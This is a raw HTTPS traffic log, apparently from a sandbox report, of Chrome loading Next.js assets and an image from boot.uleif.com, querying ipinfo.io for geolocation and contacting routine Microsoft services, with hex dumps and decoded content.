2024-10-11 18:29:09 UTC	5930	IN	Data Raw: 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 2c 6f 3d 72 28 33 34 35 34 29 2c 69 3d 72 28 34 38 36 37 29 2c 73 3d 72 28 36 30 31 36 29 2c 61 3d 72 28 34 38 31 29 2c 75 3d 7b 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 21 69 2e 69 73 55 6e 64 65 66 69 6e 65 64 28 65 29 26 26 69 2e 69 73 55 6e 64 65 66 69 6e 65 64 28 65 5b 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 5d 29 26 26 28 65 5b 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 5d 3d 74 29 7d 76 61 72 20 66 3d 7b 74 72 61 6e 73 69 74 69 6f 6e 61 6c 3a 7b 73 69 6c 65 6e 74 4a 53 4f 4e 50 61 72 73 69 6e 67 3a 21 30 2c 66 Data Ascii: (e,t,r){"use strict";var n,o=r(3454),i=r(4867),s=r(6016),a=r(481),u={"Content-Type":"application/x-www-form-urlencoded"};function c(e,t){!i.isUndefined(e)&&i.isUndefined(e["Content-Type"])&&(e["Content-Type"]=t)}var f={transitional:{silentJSONParsing:!0,f
2024-10-11 18:29:09 UTC	6169	IN	Data Raw: 65 74 75 72 6e 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 5d 22 3d 3d 3d 6f 2e 63 61 6c 6c 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 65 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 69 66 28 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 74 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 74 7c 7c 74 3d 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 7d 66 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b Data Ascii: eturn"[object Array]"===o.call(e)}function s(e){return void 0===e}function a(e){return null!==e&&"object"==typeof e}function u(e){if("[object Object]"!==o.call(e))return!1;var t=Object.getPrototypeOf(e);return null===t\|\|t===Object.prototype}function c(e){

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49763	76.76.21.21	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:09 UTC	390	OUT	GET /_next/static/56kho6wiIZfQ6_uNQX-cO/_buildManifest.js HTTP/1.1 Host: boot.uleif.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 18:29:09 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 113063 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="_buildManifest.js" Content-Length: 356 Content-Type: application/javascript; charset=utf-8 Date: Fri, 11 Oct 2024 18:29:09 GMT Etag: "8fd0c556d509a4f6c9b8b5fad9362e5e" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/56kho6wiIZfQ6_uNQX-cO/_buildManifest.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::ngjqx-1728671349158-82c23698731a Connection: close
2024-10-11 18:29:09 UTC	356	IN	Data Raw: 73 65 6c 66 2e 5f 5f 42 55 49 4c 44 5f 4d 41 4e 49 46 45 53 54 3d 7b 5f 5f 72 65 77 72 69 74 65 73 3a 7b 61 66 74 65 72 46 69 6c 65 73 3a 5b 5d 2c 62 65 66 6f 72 65 46 69 6c 65 73 3a 5b 5d 2c 66 61 6c 6c 62 61 63 6b 3a 5b 5d 7d 2c 22 2f 22 3a 5b 22 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 36 36 39 2d 31 62 36 36 61 63 37 36 66 63 37 31 38 35 63 65 2e 6a 73 22 2c 22 73 74 61 74 69 63 2f 63 73 73 2f 62 66 39 36 36 64 32 61 37 38 33 34 61 64 39 38 2e 63 73 73 22 2c 22 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 70 61 67 65 73 2f 69 6e 64 65 78 2d 65 62 63 35 32 34 63 36 61 30 37 65 32 37 36 62 2e 6a 73 22 5d 2c 22 2f 5f 65 72 72 6f 72 22 3a 5b 22 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 70 61 67 65 73 2f 5f 65 72 72 6f 72 2d 37 61 39 32 39 36 37 62 65 61 38 Data Ascii: self.__BUILD_MANIFEST={__rewrites:{afterFiles:[],beforeFiles:[],fallback:[]},"/":["static/chunks/669-1b66ac76fc7185ce.js","static/css/bf966d2a7834ad98.css","static/chunks/pages/index-ebc524c6a07e276b.js"],"/_error":["static/chunks/pages/_error-7a92967bea8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49764	76.76.21.21	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:09 UTC	388	OUT	GET /_next/static/56kho6wiIZfQ6_uNQX-cO/_ssgManifest.js HTTP/1.1 Host: boot.uleif.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 18:29:09 UTC	568	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 113063 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="_ssgManifest.js" Content-Length: 77 Content-Type: application/javascript; charset=utf-8 Date: Fri, 11 Oct 2024 18:29:09 GMT Etag: "b6652df95db52feb4daf4eca35380933" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/56kho6wiIZfQ6_uNQX-cO/_ssgManifest.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::nt4kk-1728671349155-f64a944b2443 Connection: close
2024-10-11 18:29:09 UTC	77	IN	Data Raw: 73 65 6c 66 2e 5f 5f 53 53 47 5f 4d 41 4e 49 46 45 53 54 3d 6e 65 77 20 53 65 74 2c 73 65 6c 66 2e 5f 5f 53 53 47 5f 4d 41 4e 49 46 45 53 54 5f 43 42 26 26 73 65 6c 66 2e 5f 5f 53 53 47 5f 4d 41 4e 49 46 45 53 54 5f 43 42 28 29 3b Data Ascii: self.__SSG_MANIFEST=new Set,self.__SSG_MANIFEST_CB&&self.__SSG_MANIFEST_CB();

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49766	76.76.21.21	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:09 UTC	352	OUT	GET /background.jpg HTTP/1.1 Host: boot.uleif.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 18:29:09 UTC	509	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 113063 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline; filename="background.jpg" Content-Length: 580703 Content-Type: image/jpeg Date: Fri, 11 Oct 2024 18:29:09 GMT Etag: "ff1088d824eb1737f6d43cc1afe1a02f" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /background.jpg X-Vercel-Cache: HIT X-Vercel-Id: iad1::8fcdc-1728671349241-b2cf3a761918 Connection: close
2024-10-11 18:29:09 UTC	2372	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 80 00 00 03 98 08 06 00 00 00 34 68 ee 23 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 12 74 00 00 12 74 01 de 66 1f 78 00 00 ff a5 49 44 41 54 78 5e ec fd 67 94 2c d7 75 26 0a ee aa eb bd 81 b9 30 17 9e f0 04 01 02 f4 a4 e8 64 48 4a 22 45 51 2d db 2d b5 ba a5 e9 a7 ee 9e 35 33 eb cd 9a 5f 63 d6 9b 35 eb fd 9a 35 6f ad 37 33 fd 5a a3 56 1b 3d 99 6e 19 8a 14 29 52 14 3d 00 3a 00 34 00 48 78 ef cd c5 f5 de 54 d5 ec 6f 9b 13 27 4e 46 64 46 56 65 56 65 55 ed 2f 6f e4 77 be ed ce 89 13 91 91 e6 dc cc 9a fa c0 cf fc c2 1c cd 03 dd 92 2c 6a 5e 3d f4 62 61 65 46 3b 96 2e 58 c4 ae 02 81 40 20 10 08 04 02 81 40 20 10 08 04 02 81 40 20 10 Data Ascii: PNGIHDR4h#sRGBgAMAapHYsttfxIDATx^g,u&0dHJ"EQ--53_c55o73ZV=n)R=:4HxTo'NFdFVeVeU/ow,j^=baeF;.X@ @ @
2024-10-11 18:29:09 UTC	1046	IN	Data Raw: cf 7f 85 a6 f6 5c 48 47 5e 7c 81 8e cf 6d a5 1b de f9 31 ba f1 ca f3 2d 73 f9 62 ff 13 ff 48 df fe fe 33 b4 e5 e2 6b e8 fa eb 6e a2 f3 77 ae a3 c3 af 3c 47 4f 3f fe 63 7a f5 c8 06 ba fd c3 9f a4 2b 2e 18 fd 67 43 a3 58 08 fe bb bf fa 23 fa f8 3f f9 3d 9a 9e 5e da ff 30 38 73 ee 1c 7d e5 0b 7f 4e 1f fd a5 7f 6e 96 6e 7b d7 e1 1b c0 e3 5d 1e 9d 3d fa 1c 3d f9 c2 7e 53 5b e9 8a 9b 6e a6 ed eb 7d 32 cf d0 eb cf 3c 46 87 4e f1 05 81 d5 96 f3 ae a5 ab 2f bb 40 5d 8c 7a ee 36 ba f2 e6 3c 77 30 62 e1 37 10 08 04 02 81 c0 4a c5 24 7c 03 f8 e5 17 f6 d1 67 fe f2 7b f4 fc 73 87 e8 d6 db f6 d2 3b df fd 26 7a f3 5b 2e a5 3d 17 6e a3 87 7e f2 32 dd f3 9d a7 69 e7 b6 75 74 fe 9e 9d 96 11 08 04 02 81 40 20 b0 38 88 6f 00 07 02 81 40 60 92 b0 ef 95 67 e9 3b 77 7e 81 4e 9c Data Ascii: \HG^\|m1-sbH3knw<GO?cz+.gCX#?=^08s}Nnn{]==~S[n}2<FN/@]z6<w0b7J$\|g{s;&z[.=n~2iut@ 8o@`g;w~N
2024-10-11 18:29:09 UTC	4744	IN	Data Raw: 7a 1e 5d b8 6d 9d c5 d5 31 7b fc 2c 3d fa a3 23 f4 a3 47 4f a6 9c f3 2e 5e 47 3f f3 b1 3d b4 25 3d e9 cc d0 9d ff e9 55 7a e2 cc ac e9 3a 3e f5 af 2e a5 dd cb fc 27 2a 02 81 40 20 b0 7c b0 94 3f 01 3d c7 2f ba fe fc 3f 7f 8d 2e bc 60 0b fd ec 2f be ab ef df ad 79 e1 99 57 e9 6f ff fa 07 f4 2f ff bb 0f f1 73 fc ea fa cf 5d af ff f8 af e8 ae 27 76 d0 c7 7e f9 e7 68 cb 8a fb cf 7b 81 40 20 10 08 4c 36 e2 27 a0 03 81 40 20 30 09 d8 f7 f2 33 f4 ed bb fe 91 3e f8 b3 9f a4 9d e7 5d 64 d6 c1 38 f4 c6 2b f4 cd af fe 1d bd f7 03 1f a5 0b 2e be d2 ac 93 8d 29 7a 9e ee fe cb 2f d2 ce 77 fc 0e bd f9 aa ee ef ff cf bc f8 0d fa fb bb 0e d2 07 7f fd 93 b4 7b cd f2 fb 7c fd e8 0b df a5 17 8f ee a2 8b f7 5e 46 5b d7 3e 4f 77 7d ee 01 ba e1 17 7e 85 2e 69 5b 8b 38 f1 08 7d Data Ascii: z]m1{,=#GO.^G?=%=Uz:>.'*@ \|?=/?.`/yWo/s]'v~h{@ L6'@ 03>]d8+.)z/w{\|^F[>Ow}~.i[8}
2024-10-11 18:29:09 UTC	5930	IN	Data Raw: fc 97 97 d0 47 df bf 9d 2e dc 3c 4d 47 5e 99 a1 af 7c 6e 3f 7d e1 ee de 9f 40 9e 5e bb b0 31 8d 0a d3 5b d6 d1 5b de b7 4b 16 9e 0f 3f 77 96 0e 9c d0 6f 01 6f cd 2e c8 eb 7c f5 d7 b0 6d 47 e5 eb 8f 69 da be bb 6b 6c 20 10 08 04 02 2b 03 0f ff e8 29 fa c6 d7 9e a4 5f f9 d5 b7 d2 c6 4d eb e9 0f ff 3f 5f a3 3f f9 a3 af d2 57 bf 78 2f dd fd d5 1f d2 7f fd 2f 5f a7 3f fa 77 df a0 e3 c7 ce d0 3f fb dd f7 d1 45 7b 07 fd f9 86 85 41 17 82 ff 05 dd 78 fe 59 fa e1 5d df 94 ff 61 79 ee f0 1b 74 6c f6 30 dd f3 f9 ff 77 5a d8 d5 ed d3 f4 da b9 ea 17 41 5e ff f1 5f 89 fd 91 b3 b7 a6 9f 71 fe e9 b7 55 ff 1b d7 b1 61 c7 ae da 0b 77 ad bf 95 b6 ef 8c d7 01 81 40 20 10 08 04 02 81 40 20 10 a8 63 cb b6 5d f2 33 b3 87 0f d4 ff f3 f1 b0 38 74 e0 55 f9 db c0 9b b7 4d de cf e8 Data Ascii: G.<MG^\|n?}@^1[[K?woo.\|mGikl +)_M?_?Wx//_?w?E{AxY]aytl0wZA^_qUaw@ @ c]38tUM
2024-10-11 18:29:09 UTC	7116	IN	Data Raw: 30 6b b6 ef 4f b5 5f 02 6e e4 f3 82 34 9d 0f a0 62 85 65 a6 fd 41 5e 8b 96 44 d3 45 be 5f 57 d3 f5 75 20 8a 7c be 49 d5 9e fc 7a 5c 62 21 30 f6 0f 76 9e 85 69 7d d9 00 2d db 34 ec aa 11 eb f3 0c c8 ee 68 ba 30 50 cd a3 e5 25 0d 68 4b e6 35 29 d7 55 9e b2 42 18 e3 73 46 43 3a 14 43 c5 82 82 3d 0e 9c 34 1b 6a f9 12 00 61 9c 8f 0f fd aa 96 70 d3 65 7c 63 7d 35 88 f6 f3 58 ea 18 6b 3f b8 f7 fa da 43 55 5f 75 c5 19 e0 76 ce c3 4b 6e 41 7e 9e c9 78 8c 81 fc f8 ce 17 5a 3d 1b 0e ea 8b 81 2d a8 6f fd 2f 14 69 ce 50 13 4d 95 3d 80 df b7 a5 00 f6 7f d8 2d 30 3c 96 ea f8 06 e6 03 9c e3 5d b6 31 40 ae 17 03 ce 95 11 9d 4b fc 68 ee b9 05 02 8b 05 3c 47 e6 b7 84 b8 54 66 8f c8 f6 5b 20 10 58 5d e8 b9 56 06 02 81 40 60 45 60 d0 eb ba 95 f2 da 2f 16 80 47 85 39 7c 03 d8 Data Ascii: 0kO_n4beA^DE_Wu \|Iz\b!0vi}-4h0P%hK5)UBsFC:C=4jape\|c}5Xk?CU_uvKnA~xZ=-o/iPM=-0<]1@Kh<GTf[ X]V@`E`/G9\|
2024-10-11 18:29:09 UTC	8302	IN	Data Raw: 7b d5 60 b5 82 b5 25 e1 cc 55 3c b3 f4 53 70 36 31 52 af 60 dd cf bc 6e 9d a5 8e c0 39 03 dc 25 77 48 73 34 9f 5f 9a e0 bc 10 f4 0c 0b f5 8d b1 ff dc 80 7b a4 c0 5c 76 b9 0d 03 9f a7 40 77 e0 fc 19 c5 39 14 08 04 96 06 78 0e d2 e7 a1 0a 83 74 60 19 03 cf 73 6d db 3c 9e 37 47 89 a5 ec 3b 10 58 6c e8 a3 2d ce f9 40 60 e5 40 9f 47 75 03 31 d7 9e 63 c5 98 6d 2d c0 fb aa e5 f4 de 4a f6 0f dc 71 1b 25 c6 5d 3f d0 08 7f fe 1a 74 5b 9d c0 63 b7 6d 1b 3d 96 7c 01 f8 89 87 8e d2 d7 be 7e 90 66 66 cc b0 00 a0 06 6a a1 e6 c4 c0 8f 5b c9 8e 45 f3 5b 23 3d 39 14 ba c7 6f 48 66 34 fc 43 60 7e 70 26 86 97 51 b2 23 85 73 83 2f f6 3d 1f fc d5 f2 b2 ba 29 11 76 46 e9 37 f6 7a 6d e3 4b fd 15 76 6e 64 1a 32 d3 fe 84 2b e3 d5 66 cd 3f 28 7f d9 f8 41 4d f6 41 79 e1 17 2d 12 6c Data Ascii: {`%U<Sp61R`n9%wHs4_{\v@w9xt`sm<7G;Xl-@`@Gu1cm-Jq%]?t[cm=\|~ffj[E[#=9oHf4C`~p&Q#s/=)vF7zmKvnd2+f?(AMAy-l
2024-10-11 18:29:09 UTC	6676	IN	Data Raw: 69 ab db e8 6f 5a f4 e4 9b 6b e9 c8 34 1b ea df fc b5 45 49 81 b1 d6 57 d6 7c d4 13 83 b0 d6 37 ad 06 a8 6a 7f 44 65 9a 1b 1a 5f 69 91 1a a0 81 20 f8 59 27 bf ad 4d d7 12 6a 01 aa 6b df c4 b4 f3 49 dd 18 9f 6a 2d d3 47 1b 2b c0 6e af 34 58 34 e2 24 de bf 59 ab 5a ec 88 cb fc d0 c2 d0 b6 d8 2e 75 79 de 85 2d bf 1a 97 6b 94 81 36 66 43 fa 1b c0 cc d5 37 c4 59 cb b8 58 e7 2c 75 aa f1 0d ae 5f 69 9c 1f 58 7c 17 d6 00 5b ec c4 fe a9 b6 84 9a 46 be 4a e4 99 46 58 3e ae 5c 23 ae 88 87 e6 46 95 cf 96 dc af 1a dd 35 6b 61 58 85 51 cf b4 c4 99 ce e3 f9 86 80 26 2d 89 80 16 d0 f3 0c 52 e6 87 e3 f3 f3 2e cb ef ab 51 97 e1 9c a3 e8 8e e3 45 0a 23 5c eb 19 a7 fa 2b 51 67 ff 29 82 b5 1e 0f d8 75 5e 4a 2d 3c 5f 7f 9b 7d 50 5e 93 bf 23 9a f2 73 34 f9 a5 be 69 28 39 4f 71 Data Ascii: ioZk4EIW\|7jDe_i Y'MjkIj-G+n4X4$YZ.uy-k6fC7YX,u_iX\|[FJFX>\#F5kaXQ&-R.QE#\+Qg)u^J-<_}P^#s4i(9Oq
2024-10-11 18:29:09 UTC	10674	IN	Data Raw: 49 e7 d0 67 b8 0a a5 2e 65 af bb 7f be 2a ef 17 fb 57 f9 75 ff 8c c5 d2 a5 5e 5d 4b 81 54 a1 7d 3e d5 5b b1 a2 3d 5e 31 58 3b 2f b4 ce b0 da 0c bd ec 10 3d a0 1e 1e af b5 fc 86 f8 a1 fc 15 e4 bc 85 2d b1 98 15 76 9d a8 71 ee 07 5c 0b c3 8f 06 e2 0d 35 7f c6 06 ad ac 5f 8a d1 7c 31 1b b2 7a 25 0b 5c 8f 1e b1 00 3c 16 54 07 4f 9f 84 fa 1c 3c 3f c6 6d 18 e0 f7 fa ca 79 7f 75 ed fe 12 ed f9 8a 64 97 fb 8a 13 7a 0c 05 5a fd 56 b7 b1 ff 0c ad f9 86 25 f1 57 f3 cb 03 e6 bb 4c 0b 8f c2 6f 18 5b fd 7e 76 50 f8 87 f1 a7 c7 8d 30 ac fc a4 c4 17 6d b1 c3 2c 71 ac 85 35 1e 2f 1e 9c 61 f6 78 7d 73 21 06 a9 a4 2f ba 34 cf 59 ea 23 bf 41 23 1a e3 d0 17 27 c6 18 47 d2 ea 97 fa ce 6c af 71 16 0f f6 fd 4b 8c 7b 8e 53 a9 5a ed 99 df b4 72 a1 2d 0f 0d 1d 1f 6b 61 cb 67 aa e6 Data Ascii: Ig.e*Wu^]KT}>[=^1X;/=-vq\5_\|1z%\<TO<?myudzZV%WLo[~vP0m,q5/ax}s!/4Y#A#'GlqK{SZr-kag
2024-10-11 18:29:09 UTC	11860	IN	Data Raw: 93 85 b2 5a 2a ad 89 da 8f f9 6d 3c ad cc f1 c2 d9 87 81 89 b5 42 af 9d 59 f7 0f fd 82 ac ff a4 51 d5 fa 17 46 0b 1e 20 67 d4 61 5f 5e 4f 48 b5 ce 0f 67 e7 76 58 dc 8f ba 66 37 47 2f 03 e0 7c ff f2 6f fe ba df b5 71 be 7f a5 4e e3 80 2f e7 d2 cf 8c 81 a8 b6 f9 f0 c4 ac 80 c4 b1 76 86 3d 7f ed 28 8b a7 d2 50 76 0d 86 49 17 57 b9 be 2c 1e 83 a1 11 80 28 34 32 c8 7e 48 83 99 c7 05 2d 66 b5 bb 76 bf b0 24 98 16 29 05 98 b2 79 74 7b e6 f7 b4 54 17 2c c7 41 35 c6 29 cc 37 61 ce 73 96 74 a9 67 1a 69 a6 b9 21 7e ec 30 ca e3 e5 4d 0f f3 79 35 25 8c ee f2 3a fc 62 4f f2 ad 0e 26 5a a4 69 1b 9f 68 cc 63 a9 b5 60 96 9f f9 59 a7 fd e4 5b 35 de cc 0f bb 1a 84 7d ff e1 af 6b 84 7b be 6a 61 6d f0 06 98 df d9 e3 dd 6f f1 da 1f ac aa 35 5e 2d 35 ae f5 03 e6 cd c2 9d f5 f8 Data Ascii: Z*m<BYQF ga_^OHgvXf7G/\|oqN/v=(PvIW,(42~H-fv$)yt{T,A5)7astgi!~0My5%:bO&Zihc`Y[5}k{jamo5^-5
2024-10-11 18:29:09 UTC	10234	IN	Data Raw: 02 b8 af 70 3b db c8 fe 1b c0 75 18 ea f3 19 ea e8 ef f5 aa aa 5f d7 6f ab 3c 43 ea 37 58 5c 93 7a 86 11 ae f1 22 24 2f be 4e f2 cd bf c1 67 54 69 7f f0 97 74 d6 c9 8b 59 00 ec b9 7a 6a 2f d6 53 7b aa 0b ec c7 5b e1 af 89 97 fe bc b6 28 8b af d6 3a 1e 43 f0 6b 40 14 cf 24 32 d5 2a 35 5c ea a9 5d 87 e1 9c 80 06 14 4c ed 00 db c1 cf 4f 07 52 44 52 3f ac 47 a4 25 40 91 d5 1c af e3 06 ac a0 21 d1 36 0e ab 2f 5a db 66 93 7a 7c 2b f4 e3 e6 e1 42 b4 4e 04 a8 b8 57 20 1d 97 6a 8b 6c 93 65 9c 8e c5 9a 59 07 be 29 47 e1 dc 16 3b 1b 7c ba 04 80 9d c1 a8 50 df e5 49 3d 3c 46 69 4d 58 fa 43 bf 2c 04 36 3e 83 45 3a e8 00 9c 60 98 b6 30 af d5 20 e3 92 fa a8 6b 61 36 52 83 79 0c d5 5a cb e7 eb 55 eb 66 9c 45 65 00 0c 66 44 00 ee b0 a0 df a8 ff ca c2 03 85 dc 04 fa 57 b7 Data Ascii: p;u_o<C7X\z"$/NgTitYzj/S{[(:Ck@$2*5\]LORDR?G%@!6/Zfz\|+BNW jleY)G;\|PI=<FiMXC,6>E:`0 ka6RyZUfEefDW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49768	34.117.59.81	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:09 UTC	358	OUT	GET /json?token=c3e87e382ddea7 HTTP/1.1 Host: ipinfo.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 18:29:09 UTC	457	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 274 content-type: application/json; charset=utf-8 date: Fri, 11 Oct 2024 18:29:09 GMT referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-11 18:29:09 UTC	274	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 30 31 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 Data Ascii: { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level 3 Parent, LLC", "postal": "10001", "timezone": "

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49767	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:09 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-11 18:29:10 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=80204 Date: Fri, 11 Oct 2024 18:29:10 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-11 18:29:10 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49770	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:15 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9Zgx8mulS7E7VTG&MD=cKB8cD8p HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-11 18:29:16 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 1716c463-19e1-41c2-8619-99249fcba834 MS-RequestId: ff3c03f6-5d45-4a9e-b49c-ffbc183ccb53 MS-CV: M5HcWMwb6E+IYD3Q.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 11 Oct 2024 18:29:15 GMT Connection: close Content-Length: 24490
